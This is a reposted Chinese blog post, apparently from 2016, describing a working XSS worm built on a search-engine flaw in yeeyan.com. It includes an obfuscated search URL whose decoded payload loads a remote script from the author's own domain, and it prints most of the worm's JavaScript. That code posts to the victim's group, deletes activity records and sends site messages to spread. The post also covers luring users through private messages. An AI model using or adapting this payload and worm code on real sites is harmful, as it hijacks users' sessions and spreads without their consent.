Search Engine XSS Worm
Search Engine XSS Worm
发布时间:2016-12-26 来源:查字典编辑
摘要:译言http://www.yeeyan.com/是一个“发现、翻译、阅读中文之外的互联网精华”的web2.0网站,过滤系统真BT,不过其搜索...

译言http://www.yeeyan.com/是一个“发现、翻译、阅读中文之外的互联网精华”的web2.0网站,过滤系统真BT,不过其搜索引擎存在跨站,它的搜索引擎也真够BT,转义单引号、双引号,并且当搜索值含英文冒号:时就不返回搜索结果。于是我只能这样构造:

http://www.yeeyan.com/main/ysearch?q=%3Cs%63%72ipt%3Eeval(%53%74ring.f%72om%43%68ar%43ode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,121,121,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41))%3C/s%63%72ipt%3E

本来搜索引擎跨站没什么好玩的,但这次在yeeyan这就可以利用这个易被忽略点来诞生个XSSWORM。蠕虫要诞生必须解决以下几点:

Q1、上面这个SearchEngineXSSTrap如何包含远程蠕虫?

A1、因为蠕虫的代码会很多,不可能一次性出现在这个XSSTrap中(对比:复制自身的微型XSSWorm),所以要想办法利用这个XSSTrap来调用远程蠕虫。方法很多,你解码这个XSSTrap就知道我的方法:)

Q2、如何让其他验证用户访问这个SearchEngineXSSTrap?

A2、先给某几位用户发站内信(借用蠕虫本身就可以批量发送:)),欺骗其访问,一旦他们访问,则这个XSSTrap会调用远程蠕虫,蠕虫会获取他们的好友信息与他们的信箱信息等等,这里面都有其他用户的信息。于是这个SearchEngineXSSTrap就可以随站内信系统大量传播。

Q2、蠕虫如何获取访问SearchEngineXSSTrap的用户标志信息?

A3、这点很重要,蠕虫的传播是要很多宿主的,要获得这些宿主就必须能够很清晰地获取特定用户标志信息,比如他的ID、他的空间地址等等。蠕虫一旦传播开,那就是爆发式的:)。

这些问题我都解决了,于是yeeyan的这个SearchEngineXSSWorm就成功诞生。蠕虫部分代码如下:

var_x=false;

if(window.XMLHttpRequest){

_x=newXMLHttpRequest();

}elseif(window.ActiveXObject){

_x=newActiveXObject("Msxml2.XMLHTTP");

if(!_x){_x=newActiveXObject("Microsoft.XMLHTTP");}

}

_1();

function_1(){

var_u=_3or7("GET","http://www.yeeyan.com/space/showme",null);

re=/<ahref="/space/groups/(.*?)">/i

r=_u.match(re);

src="http://www.yeeyan.com/groups/newTopic/";

var_txt="HELLOYEEYAN.";

argv_1="rn";

argv_1+="---------------------7964f8dddeb95fc5rnContent-Disposition:form-data;name="data[Post][content]"rnrn";

argv_1+=(_txt+"rn");

argv_1+="---------------------7964f8dddeb95fc5rnContent-Disposition:form-data;name="ymsggroup"rnrn";

argv_1+=(""+"rn");

argv_1+="---------------------7964f8dddeb95fc5rnContent-Disposition:form-data;name="ymsgee"rnrn";

argv_1+=(r[1]+"rn");

argv_1+="---------------------7964f8dddeb95fc5rnContent-Disposition:form-data;name="ymsgee_username"rnrn";

argv_1+=(r[1]+"rn");

argv_1+="---------------------7964f8dddeb95fc5--rn";

_3or7("POST",src,argv_1);

var_del=_3or7("GET","http://www.yeeyan.com/space/deleteEvent/15429",null);

//删除记录只需这样即可:)

_2();

}

function_2(){

src="http://www.yeeyan.com/space/compose_message";

var_to="Yasmin";

var_s="yeeyan";

var_m="HELLO:)"

argv_1="rn";

argv_1+="---------------------7964f8dddeb95fc5rnContent-Disposition:form-data;name="data[receiver_name]"rnrn";

argv_1+=(_to+"rn");

argv_1+="---------------------7964f8dddeb95fc5rnContent-Disposition:form-data;name="data[subject]"rnrn";

argv_1+=(_s+"rn");

argv_1+="---------------------7964f8dddeb95fc5rnContent-Disposition:form-data;name="data[message][content]"rnrn";

argv_1+=(_m+"rn");

argv_1+="---------------------7964f8dddeb95fc5rnContent-Disposition:form-data;name="data[message_id]"rnrn";

argv_1+=(""+"rn");

argv_1+="---------------------7964f8dddeb95fc5rnContent-Disposition:form-data;name="data[action]"rnrn";

argv_1+=("send"+"rn");

argv_1+="---------------------7964f8dddeb95fc5--rn";

_3or7("POST",src,argv_1);

alert(0);

}

function_3or7(_m,_s,_a){

_x.open(_m,_s,false);

if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data;boundary=-------------------7964f8dddeb95fc5");

_x.send(_a);

return_x.responseText;

}要理解这些代码可以参考我以前的文章,这里有线索:http://www.0x37.com/post/2.html。我写这个蠕虫的目的是验证http://www.0x37.com/post/2.html我的这篇文章提到的方法,我只能说老外有点不负责任:),我还得重新编码,这个方法理论上是行得通的,只是我目前遇到了点麻烦。还是构造HTTP消息头来POST蠕虫信息爽。借用搜索引擎来诞生蠕虫,我还是第一次这样做。只要满足XSSTrap与目标攻击点在严格的同域内就OK。

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类